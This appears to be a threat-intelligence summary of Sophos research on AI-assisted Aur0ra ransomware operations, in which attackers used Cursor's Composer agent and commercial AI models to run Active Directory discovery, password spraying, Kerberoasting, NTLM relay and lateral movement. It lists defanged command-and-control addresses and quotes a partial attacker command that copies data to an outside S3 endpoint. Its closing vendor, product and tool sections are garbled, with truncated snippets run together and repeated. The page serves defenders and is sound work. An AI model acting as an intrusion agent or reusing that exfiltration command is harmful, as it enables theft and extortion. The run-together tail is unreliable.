Sophos Details AI-Assisted Aur0ra Ransomware Operations

Summary
Sophos researchers describe GOLD OGRE’s use of Cursor and other AI agents in Aur0ra ransomware operations, including Active Directory discovery, credential abuse and lateral movement. Three victims were later named on Aur0ra’s leak site.
Key points
- Sophos analysts linked infrastructure used in EDR evasion testing to Aur0ra ransomware operations, where the same infrastructure also hosted Cobalt Strike.
- Sophos says operators used Cursor’s Composer agent and models from Anthropic, xAI and Moonshot to perform tasks with limited human involvement.
- Observed activity included Active Directory and network-share discovery, password spraying, Kerberoasting, NTLM coercion and relay, and credential extraction from files and backups.
- Sophos reported routine Cobalt Strike use and S3-compatible storage for stolen data; one observed file transfer was consistent with staging and exfiltration.
- Agents achieved domain-management access in some environments. Three victims were later named on Aur0ra’s leak site; that listing alone does not confirm the claims.
- Sophos notified potentially impacted customers and worked with law enforcement on notifications for other affected organizations.
- Recommended defenses include patching internet-facing devices, phishing-resistant MFA, monitoring EDR alerts, segmenting critical servers, isolating backups and reviewing privileged access.
Article Details
- Attack Vectors
- Operators supplied AI agents with previously obtained credentials, VPN credentials, SOCKS access, targets, and objectives; agents performed network and Active Directory discovery, executed commands, and moved laterally with limited human involvement.
- Observed techniques included password spraying, Kerberoasting, NTLM coercion and relay, and extracting credentials from files and backups.
- Operators enumerated network shares and collected data, with one operation transferring data to an S3-compatible bucket.
- Sophos reported privilege escalation, process injection, and credential/token abuse during intrusions.
- Defensive Notes
- Patch internet-facing devices, deploy phishing-resistant MFA, and monitor EDR alerts; respond quickly to detected activity.
- Reduce attacker movement by segmenting critical servers, isolating backups, reviewing domain administrator privileges, using privileged access management, and implementing application controls.
- Sophos notified potentially impacted customers and worked with law enforcement to notify other affected organizations.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| IPV4 | 144[.]172[.]101[.]72 | Cobalt Strike C2 server used in Aur0ra ransomware operations. |
| IPV4 | 152[.]236[.]3[.]8 | Cobalt Strike C2 server used in Aur0ra ransomware operations. |
| IPV4 | 152[.]236[.]4[.]14 | Data exfiltration server used in Aur0ra ransomware operations. |
| IPV4 | 172[.]86[.]113[.]245 | Open directory server associated with Aur0ra ransomware operations; third-party reports described it as containing an attacker toolkit and related artifacts. |
| IPV4 | 172[.]86[.]89[.]124 | Cobalt Strike C2 server used in Aur0ra ransomware operations. |
| IPV4 | 206[.]223[.]230[.]107 | Cobalt Strike C2 server used in Aur0ra ransomware operations. |
| IPV4 | 45[.]59[.]113[.]63 | SOCKS proxy node used in Aur0ra ransomware operations and also observed in the AI-assisted testing framework. |
| URL | hxxp[:]//152[.]236[.]4[.]14:54410 | Data-transfer endpoint shown in a command associated with Aur0ra ransomware operations. |
MITRE ATT&CK
T1018 · Remote System DiscoveryAgents used Nmap or NetExec to scan internal subnets for hosts.T1055 · Process InjectionSophos reported process injection during an operator's Aur0ra ransomware intrusion.T1057 · Process DiscoveryOperator logs included a command corresponding to process enumeration.T1078 · Valid AccountsOperators supplied previously obtained credentials for agents to access victim networks and conduct intrusion activity.T1083 · File and Directory DiscoveryOperator logs included commands corresponding to directory enumeration, and AI agents searched files and network shares.T1090 · ProxyIntrusions used shared C2 infrastructure, and operators supplied SOCKS access; a SOCKS proxy node was also identified.T1110.003 · Password SprayingAI agents conducted password spraying in victim environments.T1133 · External Remote ServicesThird-party reporting described agents installing and configuring a VPN client, then connecting to a victim network using supplied credentials.T1135 · Network Share DiscoveryOperators enumerated network shares and AI agents searched shares for data.T1187 · Forced AuthenticationAI agents used NTLM coercion as part of credential-based attacks.T1552.001 · Credentials In FilesAI agents extracted credentials from files and backups.T1557.001 · Name Resolution Poisoning and SMB RelayOperators attempted NTLM relay attacks, relaying resulting authentication with an Impacket module.T1558.003 · KerberoastingAI agents conducted Kerberoasting during intrusions.T1567.002 · Exfiltration to Cloud StorageCollected data was transferred to an S3-compatible bucket.
Threat Actors
Malware
Vendors
AnthropicIntrusions were orchestrated by Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicates that the threat actors initially used Anthropic almostMoonshot AIby Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicates that the threat actors initially used Anthropic almost exclusively but thenSophosthe capabilities of multiple vendors’ endpoint detection and response (EDR) solutions, including the Sophos agent. Following a testing phase, Sophos analysts observed the same infrastructure hosting Cobalt StrikexAIwere orchestrated by Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicates that the threat actors initially used Anthropic almost exclusively but
Products
Claude 4.5-Sonnetorchestration in exploitation activity. Gambit Security explicitly referenced the deployment of a Claude 4.5-Sonnet agent in semi-automated attacks.Composeras authorized red team activity or "diagnostics testing". Intrusions were orchestrated by Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicatesCursorWhile investigating the exploitation framework, which was developed with Cursor AI assistance, Sophos analysts gained visibility that provided insights into the Aur0ra ransomware operation. They confirmed routine use ofMicrosoft Active DirectoryThis pattern involved using shared command and control (C2) infrastructure and toolkits to perform Active Directory (AD) enumeration and lateral movement, focusing on network shares to collect data. For example,Sophos agentthe capabilities of multiple vendors’ endpoint detection and response (EDR) solutions, including the Sophos agent. Following a testing phase, Sophos analysts observed the same infrastructure hosting Cobalt Strike inTaegisTable 2 contains a sample of the Taegis™ countermeasures that SophosLabs has developed to detect activity associated with this threat.
Tools
BloodHound collectornetwork via supplied credentials; using Nmap or NetExec to scan internal subnets for hosts; using BloodHound collector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, andcertipyCoerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy to conduct certificate attacks. The tools and techniques described in the third-party reports overlapCobalt Strikethe Sophos agent. Following a testing phase, Sophos analysts observed the same infrastructure hosting Cobalt Strike in support of Aur0ra ransomware (also known as Aurora ransomware) operations. Sophos analysis hasCoerce Plususing BloodHound collector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy toImpacketthe domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy to conduct certificate attacks. TheNetExeca VPN client and then connecting to the victim’s network via supplied credentials; using Nmap or NetExec to scan internal subnets for hosts; using BloodHound collector to enumerate the domain; attempting NTLMNmapand configuring a VPN client and then connecting to the victim’s network via supplied credentials; using Nmap or NetExec to scan internal subnets for hosts; using BloodHound collector to enumerate the domain;PetitPotamfor hosts; using BloodHound collector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and usingPrinterBugcollector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy to conductSharpSharesescalation, process injection, credential/token abuse, extensive AD and share enumeration via SharpShares; collected the resulting data; and performed file-transfer activity consistent with staging andVeeamTransportVeeamTransport --endpoint-url hxxp://152[.]236[.]4[.]14:54410 ... cp ... s3://devhost/<redacted>/...Artifacts discovered in the data suggest the operators are Russian speakers. Russian commands “зы” and “ды”, which were
